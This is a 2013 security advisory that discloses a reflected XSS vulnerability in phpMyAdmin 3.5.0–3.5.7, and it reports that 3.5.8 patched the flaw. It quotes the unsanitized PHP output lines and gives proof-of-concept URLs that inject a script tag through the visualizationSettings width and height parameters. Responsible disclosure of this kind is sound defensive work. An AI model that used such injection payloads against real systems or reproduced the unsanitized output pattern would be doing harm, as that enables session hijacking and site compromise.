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[waraxe-2013-SA#102] - Reflected XSS in phpMyAdmin 3.5.7

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[waraxe-2013-SA#102] - Reflected XSS in phpMyAdmin 3.5.7 =============================================================================== Author: Janek Vind "waraxe" Date: 09. April 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-102.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the World Wide Web. phpMyAdmin supports a wide range of operations with MySQL. http://www.phpmyadmin.net/home_page/index.php Affected are versions 3.5.0 to 3.5.7, older versions not vulnerable. ############################################################################### 1. Reflected XSS in "tbl_gis_visualization.php" ############################################################################### Reason: 1. insufficient sanitization of html output Attack vectors: 1. user-supplied parameters "visualizationSettings[width]" and "visualizationSettings[height]" Preconditions: 1. valid session 2. "token" parameter must be known 3. valid database name must be known Php script "tbl_gis_visualization.php" line 51: ------------------------[ source code start ]---------------------------------- // Get settings if any posted $visualizationSettings = array(); if (PMA_isValid($_REQUEST['visualizationSettings'], 'array')) { $visualizationSettings = $_REQUEST['visualizationSettings']; .. <legend><?php echo __('Display GIS Visualization'); ?></legend> <div id="placeholder" style="width:<?php echo($visualizationSettings['width']); ?>px; height:<?php echo($visualizationSettings['height']); ?>px;"> ------------------------[ source code end ]------------------------------------ Tests (parameters "db" and "token" must be valid): http://localhost/PMA/tbl_gis_visualization.php?db=information_schema& token=17961b7ab247b6d2b39d730bf336cebb& visualizationSettings[width]="><script>alert(123);</script> http://localhost/PMA/tbl_gis_visualization.php?db=information_schema& token=17961b7ab247b6d2b39d730bf336cebb &visualizationSettings[height]="><script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. Disclosure timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 31.03.2013 -> Sent email to developers 31.03.2013 -> First response email from developers 02.04.2013 -> Second email from developers - XSS patched in Git repository 03.04.2013 -> phpMyAdmin 3.5.8-rc1 is released 08.04.2013 -> phpMyAdmin 3.5.8 is released 09.04.2013 -> public advisory released Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------